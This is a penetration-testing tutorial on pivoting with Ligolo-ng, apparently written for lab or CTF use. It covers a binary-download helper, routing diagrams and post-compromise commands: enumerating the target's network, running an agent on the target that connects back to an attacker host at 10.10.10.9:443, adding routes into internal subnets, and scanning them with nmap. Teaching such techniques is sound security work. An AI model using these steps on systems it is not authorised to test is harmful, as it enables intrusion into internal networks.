Pivoting with Ligolo-ng
Project GitHub
https://github.com/nicocha30/ligolo-ng
Download Binaries
https://github.com/nicocha30/ligolo-ng/releases
- Proxy
- Requires user to create a
tuninterface - Traffic flows through
tuninterface, like a VPN - ⚠️Requires
rootaccess on the host, in order to create thetuninterface⚠️
- Requires user to create a
- Agent
- Connects to the proxy and effectively establishes a VPN tunnel with the server
- Does not require administrative privileges
Function to Auto-Download the Latest Stable Release
You can add this to your .zshrc or other .rc file to have this function available at login
Click to show code
function download_ligolo() {
# Use the "latest" slug to always grab the newest stable release
latest_release_url='https://github.com/nicocha30/ligolo-ng/releases/latest'
# Get the base URL of the latest stable tagged version
# Remove any trailing spaces
latest_stable_url=$(curl -sI "$latest_release_url" | grep location | awk -v FS=' ' '{print $2}' | sed -E 's/\s{1,}$//g')
# Use the tagged release URL and swap out `tag` for `download` in the URL
download_base_url=$(echo -n "$latest_stable_url" | sed 's/tag/download/g')
binary_version=$(echo "$latest_stable_url" | rev | cut -d '/' -f 1 | rev | tr -d 'v')
linux_proxy_binary_name="ligolo-ng_proxy_${binary_version}_linux_amd64.tar.gz"
linux_agent_binary_name="ligolo-ng_agent_${binary_version}_linux_amd64.tar.gz"
linux_proxy_download_url="${download_base_url}/${linux_proxy_binary_name}"
linux_agent_download_url="${download_base_url}/${linux_agent_binary_name}"
linux_proxy_output_name='ligolo-proxy.tar.gz'
linux_agent_output_name='ligolo-agent.tar.gz'
windows_proxy_binary_name="ligolo-ng_proxy_${binary_version}_windows_amd64.zip"
windows_agent_binary_name="ligolo-ng_agent_${binary_version}_windows_amd64.zip"
windows_proxy_download_url="${download_base_url}/${windows_proxy_binary_name}"
windows_agent_download_url="${download_base_url}/${windows_agent_binary_name}"
windows_proxy_output_name='ligolo-proxy.exe.zip'
windows_agent_output_name='ligolo-agent.exe.zip'
# Download, extract, set mode
curl -sL $linux_proxy_download_url -o "$PWD/${linux_proxy_output_name}"
curl -sL $linux_agent_download_url -o "$PWD/${linux_agent_output_name}"
curl -sL $windows_proxy_download_url -o "$PWD/${windows_proxy_output_name}"
curl -sL $windows_agent_download_url -o "$PWD/${windows_agent_output_name}"
tar -xzf $linux_proxy_output_name proxy > /dev/null
tar -xzf $linux_agent_output_name agent > /dev/null
unzip $windows_proxy_output_name -x README.md LICENSE > /dev/null
unzip $windows_agent_output_name -x README.md LICENSE > /dev/null
chmod u+x ./proxy ./agent > /dev/null
echo "Linux and Windows Ligolo-ng binaries downloaded and unarchived in $PWD"
}
Example Data Flow
Ligolo-ng is not port forwarding in the way you might be familiar with it using tools like ssh or chisel.
Ligolo-ng operates at layer 3 and up of the OSI model, focusing on IP routing. SSH and Chisel operate at layer 4 and up of the OSI model, focusing on TCP/UDP transport and SOCKS.
Ligolo-ng can be thought of more like a VPN server. There's a server component, the proxy, and a client component, the agent. However, the roles are slightly reversed here, where the routes are published on the proxy side and exit out the agent side.
When you enter a destination IP address and port, if the route exists, it goes through the target interface, through the tunnel, and exits out the agent side to its destination.
Reaching Ports on Loopback
Show / Hide Diagram
Post-compromise
identify target route(s)
to which TARGET has access
* 127.0.0.1 (localhost)
aliased to 240.0.0.1
AGENT INITIALIZES TLS HANDSHAKE
______________ ______________
| | << ==========[ TLS ENCRYPTION ]========== [+] | |
| ATTACK BOX | __________________________________________________________| TARGET |____
| proxy | | | agent | |
| | | [+] =========[ TLS ENCRYPTION ]========== >> | | |
'______________' | '______________' |
| CRYPTOGRAPHIC TUNNEL ESTABLISHED |
240.0.0.1:3306 [+]--' 127.0.0.1:3306 <<--'
Add routes to target network(s): Traffic exits out agent
If route exists in agent routing table,
interface_add_route --name INTERFACE --route 240.0.0.1/32 or default gateway
* Firewalls may block traffic
Pivoting to Local Area Network
Show / Hide Diagram
AGENT INITIALIZES TLS HANDSHAKE
______________ ______________ ______________
| | << ========[ TLS ENCRYPTION ]======== [+] | | | |
| ATTACK BOX | ____________________________________________________ | TARGET | | |
| proxy | | | | agent | ,---[ packets ]--- >> | 192.168.10.3 |
| | | [+] =======[ TLS ENCRYPTION ]======== >> | | | | | |
'______________' | | '______________' | '______________'
Port Scan | CRYPTOGRAPHIC TUNNEL ESTABLISHED | |
192.168.10.3/24 [+]--' '--------- [eth0] --------'
192.168.10.10/24
Add routes to target network(s):
interface_add_route --name INTERFACE --route 192.168.10.0/24
Pivoting to Other Networks
Show / Hide Diagram (Dual-Homed Host)
AGENT INITIALIZES TLS HANDSHAKE
______________ ______________ _____________
| | << ========[ TLS ENCRYPTION ]======== [+] | | | |
| ATTACK BOX | ____________________________________________________ | TARGET | | |
| proxy | | | | agent | ,---[ packets ]--- >> | 172.16.1.44 |
| | | [+] =======[ TLS ENCRYPTION ]======== >> | | | | | |
'______________' | | '______________' | '_____________'
Port Scan | CRYPTOGRAPHIC TUNNEL ESTABLISHED | |
172.16.1.44/24 [+]--' '----- [eth0] [eth1] ---'
192.168.10.10/24 172.16.1.22/24
Add routes to target network(s): '-------'
interface_add_route --name INTERFACE --route 172.16.1.0/24
Dual-Homed Host
Show / Hide Diagram (Packets to Firewall)
AGENT INITIALIZES TLS HANDSHAKE ,. . . . ,
______________ ______________ : ^ :
| | << ========[ TLS ENCRYPTION ]======== [+] | | :: | ::
| ATTACK BOX | ____________________________________________________ | TARGET | :: | ::
| proxy | | | | agent | ,---[ packets ]--- >> :: <------|------> ::
| | | [+] =======[ TLS ENCRYPTION ]======== >> | | | | :: | ::
'______________' | | '______________' | :: | ::
Port Scan | CRYPTOGRAPHIC TUNNEL ESTABLISHED | | : v :
172.16.1.44/24 [+]--' '--------- [eth0]---------' " . . . . "
192.168.10.10/24 [firewall]
Add routes to target network(s): 192.168.10.1/24
|
interface_add_route --name INTERFACE --route 172.16.1.0/24 |
|
|
|
V
[Target Network(s)]
172.16.1.0/24
.------. .------.
| | | |
| | .------. | |
'------' | | '------'
.------. | | .------.
| | '------' | |
| | | |
'------' '------'
Packets Moved by Firewall
Routing to Target Network(s)
1. Identify Network(s) on Target
Once a reverse shell has been established on the target, run some commands to establish any IP configurations or routes available on the target host.
Linux
# Show routes on the target
ip route show
# Show any IP configurations on the target
ip addr show
# Show any IP addresses cached in the ARP table
ip neighbor
If certain binaries are not installed on the box and are preventing you from enumerating IP configurations, routes, and / or hostnames, try some of these tricks here
Windows
# Show routes on the target
Get-NetRoute
# Show any IP configurations on the target
Get-NetIPConfiguration
# Show any IP addresses cached in the ARP table
Get-NetNeighbor
PowerShell
# Show routes on the target
route print
# Show any IP configurations on the target
ipconfig
# Show any IP addresses cached in the ARP table
arp -a
cmd.exe
2. Listener on Attack Box
2.a — Start the Ligolo Proxy on Attack Box
sudo ./proxy -selfcert --selfcert-domain pwnz -laddr 10.10.10.9:443
Start the proxy on tcp/443 on 10.10.10.9
ligolo-ng » certificate_fingerprint
Show the self-signed certificate fingerprint
2.b — Connect Agent to the Proxy
Linux
/tmp/agent -accept-fingerprint SHA_256_SELF_SIGNED_FINGERPRINT -connect 10.10.10.9:443 &
Use the fingerprint of the self-signed certificate from above and run in the background
Windows
Start-Job -ScriptBlock { C:\Path\To\agent.exe -accept-fingerprint SHA_256_SELF_SIGNED_FINGERPRINT -connect 10.10.10.9:443 }
Use the fingerprint of the self-signed certificate from above and run in the background
2.c — Create and Start the Tunnel
In most cases where specifying --name or --tun, I am using the target hostname or challenge name as the identifier. This helps when you're managing multiple sessions.
ligolo-ng » session
Choose the session number for your target agent
[Agent : user@target_hostname] » interface_create --name target_hostname
Create an interface for this session, you could use the target hostname, for example
[Agent : user@target_hostname] » interface_add_route --name target_hostname --route 172.32.1.0/24
Add any routes to target network(s), issue the command as many times as needed
[Agent : user@target_hostname] » tunnel_start --tun target_hostname
Start the tunnel and move traffic to target route(s)
Tips and Tricks
Accessing Agent Ports
In this example, the host that is running the agent process has some internal port bindings on 127.0.0.1. Ligolo-ng uses 240.0.0.1/32 to route traffic to loopback address on the agent side of the tunnel.
Ligolo Command
[Agent : user@target_hostname] » interface_add_route --name target_hostname --route 240.0.0.1/32
Scan Agent Ports
sudo nmap -Pn -sT -p3000 240.0.0.1
Scan tcp/3000 on 127.0.0.1 on the agent side of the tunnel
Tunneling to a Single Host
Use a /32 network mask to tunnel to a single host
[Agent : user@target_hostname] » interface_add_route --name target_hostname --route 172.32.1.228/32